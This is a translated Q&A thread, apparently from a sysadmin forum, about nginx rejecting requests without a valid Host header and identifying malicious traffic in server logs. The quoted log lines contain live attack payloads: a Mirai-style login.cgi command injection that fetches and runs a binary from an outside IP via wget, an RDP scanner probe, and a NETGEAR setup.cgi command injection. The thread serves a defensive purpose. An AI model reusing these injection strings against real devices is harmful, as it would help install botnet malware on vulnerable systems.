我有一个 Web 服务器,用于托管我开放给互联网的 Web 应用程序。每个 Web 应用程序都有自己的子域,例如 app1.mycompanydomain.com 和 app2.mycompanydomain.com。所有传入流量都到达 nginx,它会解析主机名并将请求代理到同一 VM 上的应用程序 Web 服务器。以下是我的配置:
server {
listen 80;
server_name _;
return 444;
}
server {
listen 80;
server_name *.mycompanydomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
server_name _;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
return 444;
}
server {
server_name app1.mycompanydomain.com www.app1.mycompanydomain.com;
listen 443 ssl;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
location / {
proxy_pass http://localhost:9081/;
}
}
#Proxying for the rest of the applications look the same
我返回 444 http 状态的阻止旨在过滤掉我们过去经常收到的自动恶意请求。问题是我们仍然收到大量此类请求。我几乎可以肯定这些请求中的大多数都是由不知道目标主机的自动机器人发送的,但由于某种原因,我们无法识别这些请求的目标主机,因此我们无法真正阻止它们。我们尝试记录 $host、$http_host、$server_name,但它们都是空的或 _。
因此有 2 个问题:
请求主机怎么会是空的?还有其他方法可以识别请求主机吗?我还可以施加哪些其他规则来过滤我们的恶意流量?仍在通过的恶意流量示例:
IP:45.228.213.131 [28/Feb/2020:03:32:25 -0500] 请求:“GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1”,目标:_,代码:400,正文:166,代理:“botnet/2.0”,时间:0.000 毫秒
IP:85.93.20.170 [27/Feb/2020:16:29:24 -0500] 请求:“\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie:mstshash=Administr”,目标:_,代码:400,正文:166,代理:“-”,时间:0.132 毫秒
IP:31.208.166.61 [25/Feb/2020:16:07:02 -0500] 请求:“GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 HTTP/1.1”,目标:_,代码:400,正文:166,代理:“Mozilla/5.0”,时间:0.000 毫秒
答案1
请求主机怎么可以为空?
正如您所说,“大多数此类请求都是由不知道目标主机的自动机器人发送的”。这意味着连接主机根本不会发送任何主机标头,希望 Web 服务器仍会处理该请求。
您提供的三个例子很有趣,它们看起来像是:
来自 Mirai 僵尸网络的命令注入攻击,试图使用 login.cgi 从 45.148.10.194 下载并执行 Mirai 负载(恶意软件样本可在混合分析):
IP:45.228.213.131 [28/Feb/2020:03:32:25 -0500] 请求:“GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1”,目标:_,代码:400,正文:166,代理:“botnet/2.0”,时间:0.000 毫秒
RDP(远程桌面)连接,可能是 RDP 扫描仪:
IP:85.93.20.170 [27/Feb/2020:16:29:24 -0500] 请求:“\x03\x00\x00/\xE0\x00\x00\x00\x00\x00Cookie:mstshash=Administr”,目标:_,代码:400,正文:166,代理:“-”,时间:0.132 毫秒
另一个命令注入攻击试图利用旧的 NETGEAR 漏洞(漏洞利用-db 25978):
IP:31.208.166.61 [25/Feb/2020:16:07:02 -0500] 请求:“GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 HTTP/1.1”,目标:_,代码:400,正文:166,代理:“Mozilla/5.0”,时间:0.000 毫秒
其中两个示例(#1 和 #3)针对的是运行 Web 服务器的简单嵌入式系统,这些系统无需考虑 HTTP Host 标头。RDP 连接不会发送 Host 标头,因为它根本没有打算使用 HTTP。
拒绝没有有效 HTTP 主机标头的连接似乎是过滤这些攻击的好方法。